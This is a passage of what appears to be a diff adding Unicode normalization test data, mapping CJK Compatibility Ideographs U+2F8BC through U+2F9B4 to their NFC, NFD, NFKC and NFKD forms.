+{ source: [0x2F8BC], NFC: [0x6383], NFD: [0x6383], NFKC: [0x6383], NFKD: [0x6383] },
+{ source: [0x2F8BD], NFC: [0x63E4], NFD: [0x63E4], NFKC: [0x63E4], NFKD: [0x63E4] },
+{ source: [0x2F8BE], NFC: [0x22BF1], NFD: [0x22BF1], NFKC: [0x22BF1], NFKD: [0x22BF1] },
+{ source: [0x2F8BF], NFC: [0x6422], NFD: [0x6422], NFKC: [0x6422], NFKD: [0x6422] },
+{ source: [0x2F8C0], NFC: [0x63C5], NFD: [0x63C5], NFKC: [0x63C5], NFKD: [0x63C5] },
+{ source: [0x2F8C1], NFC: [0x63A9], NFD: [0x63A9], NFKC: [0x63A9], NFKD: [0x63A9] },
+{ source: [0x2F8C2], NFC: [0x3A2E], NFD: [0x3A2E], NFKC: [0x3A2E], NFKD: [0x3A2E] },
+{ source: [0x2F8C3], NFC: [0x6469], NFD: [0x6469], NFKC: [0x6469], NFKD: [0x6469] },
+{ source: [0x2F8C4], NFC: [0x647E], NFD: [0x647E], NFKC: [0x647E], NFKD: [0x647E] },
+{ source: [0x2F8C5], NFC: [0x649D], NFD: [0x649D], NFKC: [0x649D], NFKD: [0x649D] },
+{ source: [0x2F8C6], NFC: [0x6477], NFD: [0x6477], NFKC: [0x6477], NFKD: [0x6477] },
+{ source: [0x2F8C7], NFC: [0x3A6C], NFD: [0x3A6C], NFKC: [0x3A6C], NFKD: [0x3A6C] },
+{ source: [0x2F8C8], NFC: [0x654F], NFD: [0x654F], NFKC: [0x654F], NFKD: [0x654F] },
+{ source: [0x2F8C9], NFC: [0x656C], NFD: [0x656C], NFKC: [0x656C], NFKD: [0x656C] },
+{ source: [0x2F8CA], NFC: [0x2300A], NFD: [0x2300A], NFKC: [0x2300A], NFKD: [0x2300A] },
+{ source: [0x2F8CB], NFC: [0x65E3], NFD: [0x65E3], NFKC: [0x65E3], NFKD: [0x65E3] },
+{ source: [0x2F8CC], NFC: [0x66F8], NFD: [0x66F8], NFKC: [0x66F8], NFKD: [0x66F8] },
+{ source: [0x2F8CD], NFC: [0x6649], NFD: [0x6649], NFKC: [0x6649], NFKD: [0x6649] },
+{ source: [0x2F8CE], NFC: [0x3B19], NFD: [0x3B19], NFKC: [0x3B19], NFKD: [0x3B19] },
+{ source: [0x2F8CF], NFC: [0x6691], NFD: [0x6691], NFKC: [0x6691], NFKD: [0x6691] },
+{ source: [0x2F8D0], NFC: [0x3B08], NFD: [0x3B08], NFKC: [0x3B08], NFKD: [0x3B08] },
+{ source: [0x2F8D1], NFC: [0x3AE4], NFD: [0x3AE4], NFKC: [0x3AE4], NFKD: [0x3AE4] },
+{ source: [0x2F8D2], NFC: [0x5192], NFD: [0x5192], NFKC: [0x5192], NFKD: [0x5192] },
+{ source: [0x2F8D3], NFC: [0x5195], NFD: [0x5195], NFKC: [0x5195], NFKD: [0x5195] },
+{ source: [0x2F8D4], NFC: [0x6700], NFD: [0x6700], NFKC: [0x6700], NFKD: [0x6700] },
+{ source: [0x2F8D5], NFC: [0x669C], NFD: [0x669C], NFKC: [0x669C], NFKD: [0x669C] },
+{ source: [0x2F8D6], NFC: [0x80AD], NFD: [0x80AD], NFKC: [0x80AD], NFKD: [0x80AD] },
+{ source: [0x2F8D7], NFC: [0x43D9], NFD: [0x43D9], NFKC: [0x43D9], NFKD: [0x43D9] },
+{ source: [0x2F8D8], NFC: [0x6717], NFD: [0x6717], NFKC: [0x6717], NFKD: [0x6717] },
+{ source: [0x2F8D9], NFC: [0x671B], NFD: [0x671B], NFKC: [0x671B], NFKD: [0x671B] },
+{ source: [0x2F8DA], NFC: [0x6721], NFD: [0x6721], NFKC: [0x6721], NFKD: [0x6721] },
+{ source: [0x2F8DB], NFC: [0x675E], NFD: [0x675E], NFKC: [0x675E], NFKD: [0x675E] },
+{ source: [0x2F8DC], NFC: [0x6753], NFD: [0x6753], NFKC: [0x6753], NFKD: [0x6753] },
+{ source: [0x2F8DD], NFC: [0x233C3], NFD: [0x233C3], NFKC: [0x233C3], NFKD: [0x233C3] },
+{ source: [0x2F8DE], NFC: [0x3B49], NFD: [0x3B49], NFKC: [0x3B49], NFKD: [0x3B49] },
+{ source: [0x2F8DF], NFC: [0x67FA], NFD: [0x67FA], NFKC: [0x67FA], NFKD: [0x67FA] },
+{ source: [0x2F8E0], NFC: [0x6785], NFD: [0x6785], NFKC: [0x6785], NFKD: [0x6785] },
+{ source: [0x2F8E1], NFC: [0x6852], NFD: [0x6852], NFKC: [0x6852], NFKD: [0x6852] },
+{ source: [0x2F8E2], NFC: [0x6885], NFD: [0x6885], NFKC: [0x6885], NFKD: [0x6885] },
+{ source: [0x2F8E3], NFC: [0x2346D], NFD: [0x2346D], NFKC: [0x2346D], NFKD: [0x2346D] },
+{ source: [0x2F8E4], NFC: [0x688E], NFD: [0x688E], NFKC: [0x688E], NFKD: [0x688E] },
+{ source: [0x2F8E5], NFC: [0x681F], NFD: [0x681F], NFKC: [0x681F], NFKD: [0x681F] },
+{ source: [0x2F8E6], NFC: [0x6914], NFD: [0x6914], NFKC: [0x6914], NFKD: [0x6914] },
+{ source: [0x2F8E7], NFC: [0x3B9D], NFD: [0x3B9D], NFKC: [0x3B9D], NFKD: [0x3B9D] },
+{ source: [0x2F8E8], NFC: [0x6942], NFD: [0x6942], NFKC: [0x6942], NFKD: [0x6942] },
+{ source: [0x2F8E9], NFC: [0x69A3], NFD: [0x69A3], NFKC: [0x69A3], NFKD: [0x69A3] },
+{ source: [0x2F8EA], NFC: [0x69EA], NFD: [0x69EA], NFKC: [0x69EA], NFKD: [0x69EA] },
+{ source: [0x2F8EB], NFC: [0x6AA8], NFD: [0x6AA8], NFKC: [0x6AA8], NFKD: [0x6AA8] },
+{ source: [0x2F8EC], NFC: [0x236A3], NFD: [0x236A3], NFKC: [0x236A3], NFKD: [0x236A3] },
+{ source: [0x2F8ED], NFC: [0x6ADB], NFD: [0x6ADB], NFKC: [0x6ADB], NFKD: [0x6ADB] },
+{ source: [0x2F8EE], NFC: [0x3C18], NFD: [0x3C18], NFKC: [0x3C18], NFKD: [0x3C18] },
+{ source: [0x2F8EF], NFC: [0x6B21], NFD: [0x6B21], NFKC: [0x6B21], NFKD: [0x6B21] },
+{ source: [0x2F8F0], NFC: [0x238A7], NFD: [0x238A7], NFKC: [0x238A7], NFKD: [0x238A7] },
+{ source: [0x2F8F1], NFC: [0x6B54], NFD: [0x6B54], NFKC: [0x6B54], NFKD: [0x6B54] },
+{ source: [0x2F8F2], NFC: [0x3C4E], NFD: [0x3C4E], NFKC: [0x3C4E], NFKD: [0x3C4E] },
+{ source: [0x2F8F3], NFC: [0x6B72], NFD: [0x6B72], NFKC: [0x6B72], NFKD: [0x6B72] },
+{ source: [0x2F8F4], NFC: [0x6B9F], NFD: [0x6B9F], NFKC: [0x6B9F], NFKD: [0x6B9F] },
+{ source: [0x2F8F5], NFC: [0x6BBA], NFD: [0x6BBA], NFKC: [0x6BBA], NFKD: [0x6BBA] },
+{ source: [0x2F8F6], NFC: [0x6BBB], NFD: [0x6BBB], NFKC: [0x6BBB], NFKD: [0x6BBB] },
+{ source: [0x2F8F7], NFC: [0x23A8D], NFD: [0x23A8D], NFKC: [0x23A8D], NFKD: [0x23A8D] },
+{ source: [0x2F8F8], NFC: [0x21D0B], NFD: [0x21D0B], NFKC: [0x21D0B], NFKD: [0x21D0B] },
+{ source: [0x2F8F9], NFC: [0x23AFA], NFD: [0x23AFA], NFKC: [0x23AFA], NFKD: [0x23AFA] },
+{ source: [0x2F8FA], NFC: [0x6C4E], NFD: [0x6C4E], NFKC: [0x6C4E], NFKD: [0x6C4E] },
+{ source: [0x2F8FB], NFC: [0x23CBC], NFD: [0x23CBC], NFKC: [0x23CBC], NFKD: [0x23CBC] },
+{ source: [0x2F8FC], NFC: [0x6CBF], NFD: [0x6CBF], NFKC: [0x6CBF], NFKD: [0x6CBF] },
+{ source: [0x2F8FD], NFC: [0x6CCD], NFD: [0x6CCD], NFKC: [0x6CCD], NFKD: [0x6CCD] },
+{ source: [0x2F8FE], NFC: [0x6C67], NFD: [0x6C67], NFKC: [0x6C67], NFKD: [0x6C67] },
+{ source: [0x2F8FF], NFC: [0x6D16], NFD: [0x6D16], NFKC: [0x6D16], NFKD: [0x6D16] },
+{ source: [0x2F900], NFC: [0x6D3E], NFD: [0x6D3E], NFKC: [0x6D3E], NFKD: [0x6D3E] },
+{ source: [0x2F901], NFC: [0x6D77], NFD: [0x6D77], NFKC: [0x6D77], NFKD: [0x6D77] },
+{ source: [0x2F902], NFC: [0x6D41], NFD: [0x6D41], NFKC: [0x6D41], NFKD: [0x6D41] },
+{ source: [0x2F903], NFC: [0x6D69], NFD: [0x6D69], NFKC: [0x6D69], NFKD: [0x6D69] },
+{ source: [0x2F904], NFC: [0x6D78], NFD: [0x6D78], NFKC: [0x6D78], NFKD: [0x6D78] },
+{ source: [0x2F905], NFC: [0x6D85], NFD: [0x6D85], NFKC: [0x6D85], NFKD: [0x6D85] },
+{ source: [0x2F906], NFC: [0x23D1E], NFD: [0x23D1E], NFKC: [0x23D1E], NFKD: [0x23D1E] },
+{ source: [0x2F907], NFC: [0x6D34], NFD: [0x6D34], NFKC: [0x6D34], NFKD: [0x6D34] },
+{ source: [0x2F908], NFC: [0x6E2F], NFD: [0x6E2F], NFKC: [0x6E2F], NFKD: [0x6E2F] },
+{ source: [0x2F909], NFC: [0x6E6E], NFD: [0x6E6E], NFKC: [0x6E6E], NFKD: [0x6E6E] },
+{ source: [0x2F90A], NFC: [0x3D33], NFD: [0x3D33], NFKC: [0x3D33], NFKD: [0x3D33] },
+{ source: [0x2F90B], NFC: [0x6ECB], NFD: [0x6ECB], NFKC: [0x6ECB], NFKD: [0x6ECB] },
+{ source: [0x2F90C], NFC: [0x6EC7], NFD: [0x6EC7], NFKC: [0x6EC7], NFKD: [0x6EC7] },
+{ source: [0x2F90D], NFC: [0x23ED1], NFD: [0x23ED1], NFKC: [0x23ED1], NFKD: [0x23ED1] },
+{ source: [0x2F90E], NFC: [0x6DF9], NFD: [0x6DF9], NFKC: [0x6DF9], NFKD: [0x6DF9] },
+{ source: [0x2F90F], NFC: [0x6F6E], NFD: [0x6F6E], NFKC: [0x6F6E], NFKD: [0x6F6E] },
+{ source: [0x2F910], NFC: [0x23F5E], NFD: [0x23F5E], NFKC: [0x23F5E], NFKD: [0x23F5E] },
+{ source: [0x2F911], NFC: [0x23F8E], NFD: [0x23F8E], NFKC: [0x23F8E], NFKD: [0x23F8E] },
+{ source: [0x2F912], NFC: [0x6FC6], NFD: [0x6FC6], NFKC: [0x6FC6], NFKD: [0x6FC6] },
+{ source: [0x2F913], NFC: [0x7039], NFD: [0x7039], NFKC: [0x7039], NFKD: [0x7039] },
+{ source: [0x2F914], NFC: [0x701E], NFD: [0x701E], NFKC: [0x701E], NFKD: [0x701E] },
+{ source: [0x2F915], NFC: [0x701B], NFD: [0x701B], NFKC: [0x701B], NFKD: [0x701B] },
+{ source: [0x2F916], NFC: [0x3D96], NFD: [0x3D96], NFKC: [0x3D96], NFKD: [0x3D96] },
+{ source: [0x2F917], NFC: [0x704A], NFD: [0x704A], NFKC: [0x704A], NFKD: [0x704A] },
+{ source: [0x2F918], NFC: [0x707D], NFD: [0x707D], NFKC: [0x707D], NFKD: [0x707D] },
+{ source: [0x2F919], NFC: [0x7077], NFD: [0x7077], NFKC: [0x7077], NFKD: [0x7077] },
+{ source: [0x2F91A], NFC: [0x70AD], NFD: [0x70AD], NFKC: [0x70AD], NFKD: [0x70AD] },
+{ source: [0x2F91B], NFC: [0x20525], NFD: [0x20525], NFKC: [0x20525], NFKD: [0x20525] },
+{ source: [0x2F91C], NFC: [0x7145], NFD: [0x7145], NFKC: [0x7145], NFKD: [0x7145] },
+{ source: [0x2F91D], NFC: [0x24263], NFD: [0x24263], NFKC: [0x24263], NFKD: [0x24263] },
+{ source: [0x2F91E], NFC: [0x719C], NFD: [0x719C], NFKC: [0x719C], NFKD: [0x719C] },
+{ source: [0x2F91F], NFC: [0x243AB], NFD: [0x243AB], NFKC: [0x243AB], NFKD: [0x243AB] },
+{ source: [0x2F920], NFC: [0x7228], NFD: [0x7228], NFKC: [0x7228], NFKD: [0x7228] },
+{ source: [0x2F921], NFC: [0x7235], NFD: [0x7235], NFKC: [0x7235], NFKD: [0x7235] },
+{ source: [0x2F922], NFC: [0x7250], NFD: [0x7250], NFKC: [0x7250], NFKD: [0x7250] },
+{ source: [0x2F923], NFC: [0x24608], NFD: [0x24608], NFKC: [0x24608], NFKD: [0x24608] },
+{ source: [0x2F924], NFC: [0x7280], NFD: [0x7280], NFKC: [0x7280], NFKD: [0x7280] },
+{ source: [0x2F925], NFC: [0x7295], NFD: [0x7295], NFKC: [0x7295], NFKD: [0x7295] },
+{ source: [0x2F926], NFC: [0x24735], NFD: [0x24735], NFKC: [0x24735], NFKD: [0x24735] },
+{ source: [0x2F927], NFC: [0x24814], NFD: [0x24814], NFKC: [0x24814], NFKD: [0x24814] },
+{ source: [0x2F928], NFC: [0x737A], NFD: [0x737A], NFKC: [0x737A], NFKD: [0x737A] },
+{ source: [0x2F929], NFC: [0x738B], NFD: [0x738B], NFKC: [0x738B], NFKD: [0x738B] },
+{ source: [0x2F92A], NFC: [0x3EAC], NFD: [0x3EAC], NFKC: [0x3EAC], NFKD: [0x3EAC] },
+{ source: [0x2F92B], NFC: [0x73A5], NFD: [0x73A5], NFKC: [0x73A5], NFKD: [0x73A5] },
+{ source: [0x2F92C], NFC: [0x3EB8], NFD: [0x3EB8], NFKC: [0x3EB8], NFKD: [0x3EB8] },
+{ source: [0x2F92D], NFC: [0x3EB8], NFD: [0x3EB8], NFKC: [0x3EB8], NFKD: [0x3EB8] },
+{ source: [0x2F92E], NFC: [0x7447], NFD: [0x7447], NFKC: [0x7447], NFKD: [0x7447] },
+{ source: [0x2F92F], NFC: [0x745C], NFD: [0x745C], NFKC: [0x745C], NFKD: [0x745C] },
+{ source: [0x2F930], NFC: [0x7471], NFD: [0x7471], NFKC: [0x7471], NFKD: [0x7471] },
+{ source: [0x2F931], NFC: [0x7485], NFD: [0x7485], NFKC: [0x7485], NFKD: [0x7485] },
+{ source: [0x2F932], NFC: [0x74CA], NFD: [0x74CA], NFKC: [0x74CA], NFKD: [0x74CA] },
+{ source: [0x2F933], NFC: [0x3F1B], NFD: [0x3F1B], NFKC: [0x3F1B], NFKD: [0x3F1B] },
+{ source: [0x2F934], NFC: [0x7524], NFD: [0x7524], NFKC: [0x7524], NFKD: [0x7524] },
+{ source: [0x2F935], NFC: [0x24C36], NFD: [0x24C36], NFKC: [0x24C36], NFKD: [0x24C36] },
+{ source: [0x2F936], NFC: [0x753E], NFD: [0x753E], NFKC: [0x753E], NFKD: [0x753E] },
+{ source: [0x2F937], NFC: [0x24C92], NFD: [0x24C92], NFKC: [0x24C92], NFKD: [0x24C92] },
+{ source: [0x2F938], NFC: [0x7570], NFD: [0x7570], NFKC: [0x7570], NFKD: [0x7570] },
+{ source: [0x2F939], NFC: [0x2219F], NFD: [0x2219F], NFKC: [0x2219F], NFKD: [0x2219F] },
+{ source: [0x2F93A], NFC: [0x7610], NFD: [0x7610], NFKC: [0x7610], NFKD: [0x7610] },
+{ source: [0x2F93B], NFC: [0x24FA1], NFD: [0x24FA1], NFKC: [0x24FA1], NFKD: [0x24FA1] },
+{ source: [0x2F93C], NFC: [0x24FB8], NFD: [0x24FB8], NFKC: [0x24FB8], NFKD: [0x24FB8] },
+{ source: [0x2F93D], NFC: [0x25044], NFD: [0x25044], NFKC: [0x25044], NFKD: [0x25044] },
+{ source: [0x2F93E], NFC: [0x3FFC], NFD: [0x3FFC], NFKC: [0x3FFC], NFKD: [0x3FFC] },
+{ source: [0x2F93F], NFC: [0x4008], NFD: [0x4008], NFKC: [0x4008], NFKD: [0x4008] },
+{ source: [0x2F940], NFC: [0x76F4], NFD: [0x76F4], NFKC: [0x76F4], NFKD: [0x76F4] },
+{ source: [0x2F941], NFC: [0x250F3], NFD: [0x250F3], NFKC: [0x250F3], NFKD: [0x250F3] },
+{ source: [0x2F942], NFC: [0x250F2], NFD: [0x250F2], NFKC: [0x250F2], NFKD: [0x250F2] },
+{ source: [0x2F943], NFC: [0x25119], NFD: [0x25119], NFKC: [0x25119], NFKD: [0x25119] },
+{ source: [0x2F944], NFC: [0x25133], NFD: [0x25133], NFKC: [0x25133], NFKD: [0x25133] },
+{ source: [0x2F945], NFC: [0x771E], NFD: [0x771E], NFKC: [0x771E], NFKD: [0x771E] },
+{ source: [0x2F946], NFC: [0x771F], NFD: [0x771F], NFKC: [0x771F], NFKD: [0x771F] },
+{ source: [0x2F947], NFC: [0x771F], NFD: [0x771F], NFKC: [0x771F], NFKD: [0x771F] },
+{ source: [0x2F948], NFC: [0x774A], NFD: [0x774A], NFKC: [0x774A], NFKD: [0x774A] },
+{ source: [0x2F949], NFC: [0x4039], NFD: [0x4039], NFKC: [0x4039], NFKD: [0x4039] },
+{ source: [0x2F94A], NFC: [0x778B], NFD: [0x778B], NFKC: [0x778B], NFKD: [0x778B] },
+{ source: [0x2F94B], NFC: [0x4046], NFD: [0x4046], NFKC: [0x4046], NFKD: [0x4046] },
+{ source: [0x2F94C], NFC: [0x4096], NFD: [0x4096], NFKC: [0x4096], NFKD: [0x4096] },
+{ source: [0x2F94D], NFC: [0x2541D], NFD: [0x2541D], NFKC: [0x2541D], NFKD: [0x2541D] },
+{ source: [0x2F94E], NFC: [0x784E], NFD: [0x784E], NFKC: [0x784E], NFKD: [0x784E] },
+{ source: [0x2F94F], NFC: [0x788C], NFD: [0x788C], NFKC: [0x788C], NFKD: [0x788C] },
+{ source: [0x2F950], NFC: [0x78CC], NFD: [0x78CC], NFKC: [0x78CC], NFKD: [0x78CC] },
+{ source: [0x2F951], NFC: [0x40E3], NFD: [0x40E3], NFKC: [0x40E3], NFKD: [0x40E3] },
+{ source: [0x2F952], NFC: [0x25626], NFD: [0x25626], NFKC: [0x25626], NFKD: [0x25626] },
+{ source: [0x2F953], NFC: [0x7956], NFD: [0x7956], NFKC: [0x7956], NFKD: [0x7956] },
+{ source: [0x2F954], NFC: [0x2569A], NFD: [0x2569A], NFKC: [0x2569A], NFKD: [0x2569A] },
+{ source: [0x2F955], NFC: [0x256C5], NFD: [0x256C5], NFKC: [0x256C5], NFKD: [0x256C5] },
+{ source: [0x2F956], NFC: [0x798F], NFD: [0x798F], NFKC: [0x798F], NFKD: [0x798F] },
+{ source: [0x2F957], NFC: [0x79EB], NFD: [0x79EB], NFKC: [0x79EB], NFKD: [0x79EB] },
+{ source: [0x2F958], NFC: [0x412F], NFD: [0x412F], NFKC: [0x412F], NFKD: [0x412F] },
+{ source: [0x2F959], NFC: [0x7A40], NFD: [0x7A40], NFKC: [0x7A40], NFKD: [0x7A40] },
+{ source: [0x2F95A], NFC: [0x7A4A], NFD: [0x7A4A], NFKC: [0x7A4A], NFKD: [0x7A4A] },
+{ source: [0x2F95B], NFC: [0x7A4F], NFD: [0x7A4F], NFKC: [0x7A4F], NFKD: [0x7A4F] },
+{ source: [0x2F95C], NFC: [0x2597C], NFD: [0x2597C], NFKC: [0x2597C], NFKD: [0x2597C] },
+{ source: [0x2F95D], NFC: [0x25AA7], NFD: [0x25AA7], NFKC: [0x25AA7], NFKD: [0x25AA7] },
+{ source: [0x2F95E], NFC: [0x25AA7], NFD: [0x25AA7], NFKC: [0x25AA7], NFKD: [0x25AA7] },
+{ source: [0x2F95F], NFC: [0x7AEE], NFD: [0x7AEE], NFKC: [0x7AEE], NFKD: [0x7AEE] },
+{ source: [0x2F960], NFC: [0x4202], NFD: [0x4202], NFKC: [0x4202], NFKD: [0x4202] },
+{ source: [0x2F961], NFC: [0x25BAB], NFD: [0x25BAB], NFKC: [0x25BAB], NFKD: [0x25BAB] },
+{ source: [0x2F962], NFC: [0x7BC6], NFD: [0x7BC6], NFKC: [0x7BC6], NFKD: [0x7BC6] },
+{ source: [0x2F963], NFC: [0x7BC9], NFD: [0x7BC9], NFKC: [0x7BC9], NFKD: [0x7BC9] },
+{ source: [0x2F964], NFC: [0x4227], NFD: [0x4227], NFKC: [0x4227], NFKD: [0x4227] },
+{ source: [0x2F965], NFC: [0x25C80], NFD: [0x25C80], NFKC: [0x25C80], NFKD: [0x25C80] },
+{ source: [0x2F966], NFC: [0x7CD2], NFD: [0x7CD2], NFKC: [0x7CD2], NFKD: [0x7CD2] },
+{ source: [0x2F967], NFC: [0x42A0], NFD: [0x42A0], NFKC: [0x42A0], NFKD: [0x42A0] },
+{ source: [0x2F968], NFC: [0x7CE8], NFD: [0x7CE8], NFKC: [0x7CE8], NFKD: [0x7CE8] },
+{ source: [0x2F969], NFC: [0x7CE3], NFD: [0x7CE3], NFKC: [0x7CE3], NFKD: [0x7CE3] },
+{ source: [0x2F96A], NFC: [0x7D00], NFD: [0x7D00], NFKC: [0x7D00], NFKD: [0x7D00] },
+{ source: [0x2F96B], NFC: [0x25F86], NFD: [0x25F86], NFKC: [0x25F86], NFKD: [0x25F86] },
+{ source: [0x2F96C], NFC: [0x7D63], NFD: [0x7D63], NFKC: [0x7D63], NFKD: [0x7D63] },
+{ source: [0x2F96D], NFC: [0x4301], NFD: [0x4301], NFKC: [0x4301], NFKD: [0x4301] },
+{ source: [0x2F96E], NFC: [0x7DC7], NFD: [0x7DC7], NFKC: [0x7DC7], NFKD: [0x7DC7] },
+{ source: [0x2F96F], NFC: [0x7E02], NFD: [0x7E02], NFKC: [0x7E02], NFKD: [0x7E02] },
+{ source: [0x2F970], NFC: [0x7E45], NFD: [0x7E45], NFKC: [0x7E45], NFKD: [0x7E45] },
+{ source: [0x2F971], NFC: [0x4334], NFD: [0x4334], NFKC: [0x4334], NFKD: [0x4334] },
+{ source: [0x2F972], NFC: [0x26228], NFD: [0x26228], NFKC: [0x26228], NFKD: [0x26228] },
+{ source: [0x2F973], NFC: [0x26247], NFD: [0x26247], NFKC: [0x26247], NFKD: [0x26247] },
+{ source: [0x2F974], NFC: [0x4359], NFD: [0x4359], NFKC: [0x4359], NFKD: [0x4359] },
+{ source: [0x2F975], NFC: [0x262D9], NFD: [0x262D9], NFKC: [0x262D9], NFKD: [0x262D9] },
+{ source: [0x2F976], NFC: [0x7F7A], NFD: [0x7F7A], NFKC: [0x7F7A], NFKD: [0x7F7A] },
+{ source: [0x2F977], NFC: [0x2633E], NFD: [0x2633E], NFKC: [0x2633E], NFKD: [0x2633E] },
+{ source: [0x2F978], NFC: [0x7F95], NFD: [0x7F95], NFKC: [0x7F95], NFKD: [0x7F95] },
+{ source: [0x2F979], NFC: [0x7FFA], NFD: [0x7FFA], NFKC: [0x7FFA], NFKD: [0x7FFA] },
+{ source: [0x2F97A], NFC: [0x8005], NFD: [0x8005], NFKC: [0x8005], NFKD: [0x8005] },
+{ source: [0x2F97B], NFC: [0x264DA], NFD: [0x264DA], NFKC: [0x264DA], NFKD: [0x264DA] },
+{ source: [0x2F97C], NFC: [0x26523], NFD: [0x26523], NFKC: [0x26523], NFKD: [0x26523] },
+{ source: [0x2F97D], NFC: [0x8060], NFD: [0x8060], NFKC: [0x8060], NFKD: [0x8060] },
+{ source: [0x2F97E], NFC: [0x265A8], NFD: [0x265A8], NFKC: [0x265A8], NFKD: [0x265A8] },
+{ source: [0x2F97F], NFC: [0x8070], NFD: [0x8070], NFKC: [0x8070], NFKD: [0x8070] },
+{ source: [0x2F980], NFC: [0x2335F], NFD: [0x2335F], NFKC: [0x2335F], NFKD: [0x2335F] },
+{ source: [0x2F981], NFC: [0x43D5], NFD: [0x43D5], NFKC: [0x43D5], NFKD: [0x43D5] },
+{ source: [0x2F982], NFC: [0x80B2], NFD: [0x80B2], NFKC: [0x80B2], NFKD: [0x80B2] },
+{ source: [0x2F983], NFC: [0x8103], NFD: [0x8103], NFKC: [0x8103], NFKD: [0x8103] },
+{ source: [0x2F984], NFC: [0x440B], NFD: [0x440B], NFKC: [0x440B], NFKD: [0x440B] },
+{ source: [0x2F985], NFC: [0x813E], NFD: [0x813E], NFKC: [0x813E], NFKD: [0x813E] },
+{ source: [0x2F986], NFC: [0x5AB5], NFD: [0x5AB5], NFKC: [0x5AB5], NFKD: [0x5AB5] },
+{ source: [0x2F987], NFC: [0x267A7], NFD: [0x267A7], NFKC: [0x267A7], NFKD: [0x267A7] },
+{ source: [0x2F988], NFC: [0x267B5], NFD: [0x267B5], NFKC: [0x267B5], NFKD: [0x267B5] },
+{ source: [0x2F989], NFC: [0x23393], NFD: [0x23393], NFKC: [0x23393], NFKD: [0x23393] },
+{ source: [0x2F98A], NFC: [0x2339C], NFD: [0x2339C], NFKC: [0x2339C], NFKD: [0x2339C] },
+{ source: [0x2F98B], NFC: [0x8201], NFD: [0x8201], NFKC: [0x8201], NFKD: [0x8201] },
+{ source: [0x2F98C], NFC: [0x8204], NFD: [0x8204], NFKC: [0x8204], NFKD: [0x8204] },
+{ source: [0x2F98D], NFC: [0x8F9E], NFD: [0x8F9E], NFKC: [0x8F9E], NFKD: [0x8F9E] },
+{ source: [0x2F98E], NFC: [0x446B], NFD: [0x446B], NFKC: [0x446B], NFKD: [0x446B] },
+{ source: [0x2F98F], NFC: [0x8291], NFD: [0x8291], NFKC: [0x8291], NFKD: [0x8291] },
+{ source: [0x2F990], NFC: [0x828B], NFD: [0x828B], NFKC: [0x828B], NFKD: [0x828B] },
+{ source: [0x2F991], NFC: [0x829D], NFD: [0x829D], NFKC: [0x829D], NFKD: [0x829D] },
+{ source: [0x2F992], NFC: [0x52B3], NFD: [0x52B3], NFKC: [0x52B3], NFKD: [0x52B3] },
+{ source: [0x2F993], NFC: [0x82B1], NFD: [0x82B1], NFKC: [0x82B1], NFKD: [0x82B1] },
+{ source: [0x2F994], NFC: [0x82B3], NFD: [0x82B3], NFKC: [0x82B3], NFKD: [0x82B3] },
+{ source: [0x2F995], NFC: [0x82BD], NFD: [0x82BD], NFKC: [0x82BD], NFKD: [0x82BD] },
+{ source: [0x2F996], NFC: [0x82E6], NFD: [0x82E6], NFKC: [0x82E6], NFKD: [0x82E6] },
+{ source: [0x2F997], NFC: [0x26B3C], NFD: [0x26B3C], NFKC: [0x26B3C], NFKD: [0x26B3C] },
+{ source: [0x2F998], NFC: [0x82E5], NFD: [0x82E5], NFKC: [0x82E5], NFKD: [0x82E5] },
+{ source: [0x2F999], NFC: [0x831D], NFD: [0x831D], NFKC: [0x831D], NFKD: [0x831D] },
+{ source: [0x2F99A], NFC: [0x8363], NFD: [0x8363], NFKC: [0x8363], NFKD: [0x8363] },
+{ source: [0x2F99B], NFC: [0x83AD], NFD: [0x83AD], NFKC: [0x83AD], NFKD: [0x83AD] },
+{ source: [0x2F99C], NFC: [0x8323], NFD: [0x8323], NFKC: [0x8323], NFKD: [0x8323] },
+{ source: [0x2F99D], NFC: [0x83BD], NFD: [0x83BD], NFKC: [0x83BD], NFKD: [0x83BD] },
+{ source: [0x2F99E], NFC: [0x83E7], NFD: [0x83E7], NFKC: [0x83E7], NFKD: [0x83E7] },
+{ source: [0x2F99F], NFC: [0x8457], NFD: [0x8457], NFKC: [0x8457], NFKD: [0x8457] },
+{ source: [0x2F9A0], NFC: [0x8353], NFD: [0x8353], NFKC: [0x8353], NFKD: [0x8353] },
+{ source: [0x2F9A1], NFC: [0x83CA], NFD: [0x83CA], NFKC: [0x83CA], NFKD: [0x83CA] },
+{ source: [0x2F9A2], NFC: [0x83CC], NFD: [0x83CC], NFKC: [0x83CC], NFKD: [0x83CC] },
+{ source: [0x2F9A3], NFC: [0x83DC], NFD: [0x83DC], NFKC: [0x83DC], NFKD: [0x83DC] },
+{ source: [0x2F9A4], NFC: [0x26C36], NFD: [0x26C36], NFKC: [0x26C36], NFKD: [0x26C36] },
+{ source: [0x2F9A5], NFC: [0x26D6B], NFD: [0x26D6B], NFKC: [0x26D6B], NFKD: [0x26D6B] },
+{ source: [0x2F9A6], NFC: [0x26CD5], NFD: [0x26CD5], NFKC: [0x26CD5], NFKD: [0x26CD5] },
+{ source: [0x2F9A7], NFC: [0x452B], NFD: [0x452B], NFKC: [0x452B], NFKD: [0x452B] },
+{ source: [0x2F9A8], NFC: [0x84F1], NFD: [0x84F1], NFKC: [0x84F1], NFKD: [0x84F1] },
+{ source: [0x2F9A9], NFC: [0x84F3], NFD: [0x84F3], NFKC: [0x84F3], NFKD: [0x84F3] },
+{ source: [0x2F9AA], NFC: [0x8516], NFD: [0x8516], NFKC: [0x8516], NFKD: [0x8516] },
+{ source: [0x2F9AB], NFC: [0x273CA], NFD: [0x273CA], NFKC: [0x273CA], NFKD: [0x273CA] },
+{ source: [0x2F9AC], NFC: [0x8564], NFD: [0x8564], NFKC: [0x8564], NFKD: [0x8564] },
+{ source: [0x2F9AD], NFC: [0x26F2C], NFD: [0x26F2C], NFKC: [0x26F2C], NFKD: [0x26F2C] },
+{ source: [0x2F9AE], NFC: [0x455D], NFD: [0x455D], NFKC: [0x455D], NFKD: [0x455D] },
+{ source: [0x2F9AF], NFC: [0x4561], NFD: [0x4561], NFKC: [0x4561], NFKD: [0x4561] },
+{ source: [0x2F9B0], NFC: [0x26FB1], NFD: [0x26FB1], NFKC: [0x26FB1], NFKD: [0x26FB1] },
+{ source: [0x2F9B1], NFC: [0x270D2], NFD: [0x270D2], NFKC: [0x270D2], NFKD: [0x270D2] },
+{ source: [0x2F9B2], NFC: [0x456B], NFD: [0x456B], NFKC: [0x456B], NFKD: [0x456B] },
+{ source: [0x2F9B3], NFC: [0x8650], NFD: [0x8650], NFKC: [0x8650], NFKD: [0x8650] },
+{ source: [0x2F9B4], NFC: [0x865C], NFD: [0x865C], NFKC: [0x865C], NFKD: [0x865C] },
